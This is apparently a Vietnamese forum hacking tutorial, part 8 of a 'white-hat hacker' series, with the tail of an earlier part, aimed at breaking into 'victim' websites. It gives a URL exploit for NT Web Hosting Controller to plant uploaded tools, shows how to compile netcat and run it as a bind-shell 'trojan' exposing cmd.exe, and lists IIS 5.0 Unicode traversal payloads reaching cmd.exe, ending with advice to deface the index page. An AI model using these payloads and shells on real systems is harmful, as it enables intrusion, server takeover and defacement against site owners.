_ Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây :

C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )

+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :

http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=Csmilie đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=Csmilie đường dẫn đến thư mục ta vừa upload file )

+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách đánh đường dẫn ở URL :

www.victim/admin[avdadmin]/a.html

+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong , .

----------------------------------------------------------------------------------------------

GOODLUCK!!!!!!!!!!!!!!!!!

Tác giả:anhdenday

Ghíchu : Cũng tương tư như ở các Part trên , một số đoạn trong Part 9 này có tổ hơp HTML codes , JavaScript code và mả phát hiện XSS ...bị chặn bởi Input Validation Filter của HVA , nên chúng đựoc trình bầy dứoi dạng các Image File - PXMMRF

LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 8

PART 8

47 . ) Các công cụ cần thiết để hack Web :

_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) .
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .

48 . ) Hướng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:

CODE
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé :

CODE
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .

GOOKLUCK!!!!!!!!!!!!!!!

( Hết phần 8 )

Tác giả :anhdenday